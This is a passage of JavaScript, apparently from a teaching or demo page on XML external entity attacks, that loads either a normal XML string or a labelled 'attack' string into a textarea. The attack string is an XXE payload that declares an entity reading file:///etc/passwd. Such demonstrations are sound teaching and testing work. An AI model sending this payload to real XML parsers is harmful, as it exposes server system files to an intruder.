m><item name="item2"> item2 </item><item name="item3"> item3 </item><item name="item4"> item4 </item></items>';
var attack = '<!DOCTYPE item [ <!ELEMENT item ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><items><item name="item1">a</item><item name="item2">a &xxe;</item><item name="item3">c</item><item name="item4">d</item></items>';

  $(document).ready(function(){
  $("#normal").click(function(){
      $('#textarea').text('');
      $('#textarea').text(normal);
  });
  
    $("#attack").click(function(